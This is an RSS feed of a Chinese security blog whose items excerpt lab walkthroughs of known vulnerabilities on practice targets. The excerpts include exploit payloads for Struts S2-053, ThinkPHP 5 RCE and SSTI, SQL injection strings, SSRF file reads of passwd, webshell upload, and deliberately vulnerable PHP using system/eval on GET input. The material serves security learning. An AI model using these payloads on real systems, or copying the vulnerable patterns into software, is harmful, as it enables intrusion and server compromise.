<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[Snowflake1997的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/Snowflake1997</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; Snowflake1997]]></copyright><item><title><![CDATA[Spring远程代码执行漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123568949</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123568949</guid><author>Snowflake1997</author><pubDate>Fri, 18 Mar 2022 10:46:43 +0800</pubDate><description><![CDATA[首先进入漏洞环境





构造所需漏洞

docker-compose up -d



在浏览器中访问

首先访问http://your-ip:8080/login，用页面左边给出的任意一个账号/密码登录系统：



然后访问id为1的酒店http://your-ip:8080/hotels/1，点击预订按钮“Book Hotel”，填写相关信息后点击“Process”（从这一步，其实WebFlow就正式开始了）：





再点击确认“Confirm”：



此时抓包，抓到一个POST数据包，我们向]]></description><category></category></item><item><title><![CDATA[服务端模板注入（SSTI）漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123568890</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123568890</guid><author>Snowflake1997</author><pubDate>Fri, 18 Mar 2022 10:43:34 +0800</pubDate><description><![CDATA[首先进入漏洞环境





构造所需漏洞

docker-compose up -d



在浏览器中访问

http://your-ip/?name={{233*233}}



获取eval函数并执行任意python代码的POC：

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

 {% for b in c.__init__.__globals__.va...]]></description><category></category></item><item><title><![CDATA[S2-053远程代码执行漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123568805</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123568805</guid><author>Snowflake1997</author><pubDate>Fri, 18 Mar 2022 10:42:08 +0800</pubDate><description><![CDATA[首先进入漏洞环境





构造所需漏洞

docker-compose up -d



在浏览器中登录

http://your-ip:8080/hello.action



%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognl]]></description><category></category></item><item><title><![CDATA[Docker命令]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123368969</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123368969</guid><author>Snowflake1997</author><pubDate>Wed, 09 Mar 2022 09:43:14 +0800</pubDate><description><![CDATA[删除容器

一定要是容器的名称,也就是 NAMES 下面的名称

#删除容器

docker rm 容器名称

非root用户

#删除容器

sudo docker rm 容器名称

关闭容器

#关闭容器

docker stop 容器名称




]]></description><category></category></item><item><title><![CDATA[Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123368762</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123368762</guid><author>Snowflake1997</author><pubDate>Wed, 09 Mar 2022 09:19:03 +0800</pubDate><description><![CDATA[漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。

影响范围

5.0

5.1

复现过程

这里使用5.0.20版本

使用vulhub

cd /vulhub/thinkphp/5-rce 进入

docker-compose up -d 启动



访问



/index.php?s=/Index/\think\app/invokefunction&a..]]></description><category></category></item><item><title><![CDATA[ThinkPHP5 5.0.23 远程代码执行漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123368465</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123368465</guid><author>Snowflake1997</author><pubDate>Wed, 09 Mar 2022 09:11:05 +0800</pubDate><description><![CDATA[关闭其它的docker环境



ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

进入目录并启动



访问



index.php?s=captcha

_method=__construct&amp;filter[]=system&amp;method=get&amp;server[REQUEST_METHOD]=whoami




...]]></description><category></category></item><item><title><![CDATA[DNS域传送漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123353025</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123353025</guid><author>Snowflake1997</author><pubDate>Tue, 08 Mar 2022 14:31:21 +0800</pubDate><description><![CDATA[原理

DNS服务器分为：主服务器、备份服务器和缓存服务器。在主备服务器之间同步数据库，需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据，并用得到的数据更新自身数据库。

设置方式为两种：一种设置在options配置域；一种设置在zone配置域。优先级为如果zone没有进行配置，则遵守options的设置。如果zone进行了配置，则遵守zone的设置。

漏洞成因

若DNS服务器配置不当，可能导致匿名用户获取某个域的所有记录。

默认情况配置项没有allow-transfer 项。如果..]]></description><category></category></item><item><title><![CDATA[DVWA high暴力破解]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123350198</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123350198</guid><author>Snowflake1997</author><pubDate>Tue, 08 Mar 2022 14:08:37 +0800</pubDate><description><![CDATA[将DVWA的安全等级设置为高(high)









对登录数据进行抓包

可以看到此时多出了一个user_token：dcd5143f64e5f9278e4fac5db9488540







将数据包发送到Intruder进行设置

攻击类型选择Pitchfork，这个模式可以同时爆破几个参数

将password和token作为变量







设置Payload和Options

先设置payload 1，添加字典，用于爆破password







然后设置payload ...]]></description><category></category></item><item><title><![CDATA[Nginx文件解析漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123350126</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123350126</guid><author>Snowflake1997</author><pubDate>Tue, 08 Mar 2022 11:56:21 +0800</pubDate><description><![CDATA[nginx安装刚安装好是不能访问php文件的，需要我们进行配置

这里我是在docker里进行的

首先安装docker

命令：yun -y install docker

启用docker

命令：systemctl start docker

拉取镜像 用的是ubuntu平台

命令：docker pull ubuntu:14.04.5



启用镜像

命令：docker run -d -it -p本机端口:80 ubuntu:14.04.5 //本机端口自己随便设置



使用docker ps ]]></description><category></category></item><item><title><![CDATA[PHP环境 XML外部实体注入漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123350097</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123350097</guid><author>Snowflake1997</author><pubDate>Tue, 08 Mar 2022 11:55:27 +0800</pubDate><description><![CDATA[漏洞描述

libxml2.9.0以后，默认不解析外部实体，导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞，本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

影响范围

libxml2.8.0版本

复现过程

使用vulhub

cd /vulhub/php/php_xxe 进入目录

docker-compose up -d 启动





访问



抓包，刷新一下页面就行



发送到repeater



进行修改

在最后增加上这个代码

&lt;?.]]></description><category></category></item><item><title><![CDATA[Pikachu搜索型注入]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123335686</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123335686</guid><author>Snowflake1997</author><pubDate>Mon, 07 Mar 2022 17:46:31 +0800</pubDate><description><![CDATA[正确的显示输入ko 会自动搜索包含 ko的字段显示出来



因为会自动匹配到username，所以可以联想到这段语句使用了mysql的模糊查询。条件大致为：Where username like ’%ko%‘；一样尝试闭合然后再注释看是否能正常返回回显正常，接下来应该就可以按照平常的注入就行



一样的判断列数ko%’ order by 4 # --报错ko%’ order by 3 # --正常





联合查询查看注入点ko%’ union select 1,2,3 #



接下来一样的先爆库k]]></description><category></category></item><item><title><![CDATA[Redis未授权访问漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123283579</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123283579</guid><author>Snowflake1997</author><pubDate>Fri, 04 Mar 2022 19:21:20 +0800</pubDate><description><![CDATA[靶场环境:redis:4.0.14

docker搭建靶场环境

docker-compose up -d

docker-compose ps





未授权访问远程连接



攻击机安装redis，依次执行以下命令

wget http://download.redis.io/releases/redis-2.8.12.tar.gz 

tar -xzf redis-2.8.12.tar.gz

cd redis-2.8.12

make

cd src

./redis-cli -h





nm]]></description><category></category></item><item><title><![CDATA[pikachu逻辑漏洞实验]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123263378</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123263378</guid><author>Snowflake1997</author><pubDate>Thu, 03 Mar 2022 20:43:53 +0800</pubDate><description><![CDATA[水平越权

1.首先进行靶场的搭建



在右上角的地方有提示用户名和密码



2.登陆后和可查看该用户的信息



在上方可以看到url上是往后端发送了一个用户名进行查询



3.可以通过修改username后面的用户名看到不同用户的信息



垂直越权

1.在右上角的地方有提示用户名和密码





2.输入超级管理员用户，查看相应信息



添加用户，并用burpsuite进行抓包





抓包成功后将post数据包发送到repeater重发器

这时如果再次发送数据包的话，将建立一个跟之前一]]></description><category></category></item><item><title><![CDATA[zzcms8.2任意用户修改密码漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123263354</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123263354</guid><author>Snowflake1997</author><pubDate>Thu, 03 Mar 2022 20:42:23 +0800</pubDate><description><![CDATA[1.在登录界面点击密码找回。



2.输入用户名以及验证码



进入安全验证界面时，打开burpsuite进行抓包，点击获取验证码



3.验证码为1151



4.输入后进入设置新密码




]]></description><category></category></item><item><title><![CDATA[webug4.0支付漏洞]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123263286</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123263286</guid><author>Snowflake1997</author><pubDate>Thu, 03 Mar 2022 20:41:12 +0800</pubDate><description><![CDATA[1.首先在centos中输入下面命令，使其出现相应的环境漏洞。

docker pull area39/webug

docker run -d -P area39/webug





登录靶场



找到邮件漏洞靶场





只要修改price后面的参数就可以修改支付的金额。




















...]]></description><category></category></item><item><title><![CDATA[系统命令执行]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123235409</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123235409</guid><author>Snowflake1997</author><pubDate>Wed, 02 Mar 2022 17:19:53 +0800</pubDate><description><![CDATA[system（）

文件命名为system.php

&lt;?php

if(isset($_GET['a'])){

system($_GET['a']);

}

else{

echo "Please input a";

}

?&gt;





exec ()执行储存在字符串或文件中的 Python 语句，相比于 eval，exec可以执行更复杂的 Python 代码。

文件命名为exec.php

&lt;?php

if(isset($_GET['a'])){

echo exec($_]]></description><category></category></item><item><title><![CDATA[远程命令执行]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123235342</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123235342</guid><author>Snowflake1997</author><pubDate>Wed, 02 Mar 2022 17:17:56 +0800</pubDate><description><![CDATA[eval() 函数用来执行一个字符串表达式，并返回表达式的值。

文件命名为4.php

&lt;?php

$var = "var";

if(isset($_GET['arg'])){

$arg = $_GET['arg'];

eval("\$var = $arg;"); //‘\’的作用是让它识别成字符，不识别成变量

echo "\$var =".$var;

}

?&gt;





文件命名为eval.php

&lt;?php

if(isset($_GET['a'])){

eval(]]></description><category></category></item><item><title><![CDATA[SSRF-pikachu]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123234916</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123234916</guid><author>Snowflake1997</author><pubDate>Wed, 02 Mar 2022 17:03:32 +0800</pubDate><description><![CDATA[1.访问百度



2.利用http协议读info1.php的诗





2.使用file协议读passwd文件内容。





3.使用http协议进行存活ip探测



5.使用http协议进行端口的测试




]]></description><category></category></item><item><title><![CDATA[SSRF-DVWA]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123234826</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123234826</guid><author>Snowflake1997</author><pubDate>Wed, 02 Mar 2022 17:01:53 +0800</pubDate><description><![CDATA[1.csrf_low

进行密码的修改，可以直接通过hackbar进行修改密码，安全等级低





2.csrf_medium

在进行密码的修改时和低级一样也不要验证，可以直接通过hackbar进行修改密码，安全等级低。



3.csrf_high

在进行密码的修改时需要要验证，其会生成token值进行验证，安全性较高



4.通过burp可以使修改密码的请求进行拦截，通过修改可以构造前端页面。




...]]></description><category></category></item><item><title><![CDATA[文件上传Pass-01]]></title><link>https://blog.youkuaiyun.com/Snowflake1997/article/details/123113543</link><guid>https://blog.youkuaiyun.com/Snowflake1997/article/details/123113543</guid><author>Snowflake1997</author><pubDate>Thu, 24 Feb 2022 16:11:14 +0800</pubDate><description><![CDATA[首先生成一句话木马





尝试上传.php文件，提示不成功。只能上传图片类型的文件。



修改文件名使其适合进行上传，利用burpsuit进行拦截，修改文件名将其改回来



upload的相应包中看一下我们是否将文件上传成功了。

可以看到我们成功的将一句话木马上传至靶场的服务器。

POST[] 中是自己的密码。



到这里以及成功了，我们可以尝试使用哥斯拉连接。










...]]></description><category></category></item></channel></rss>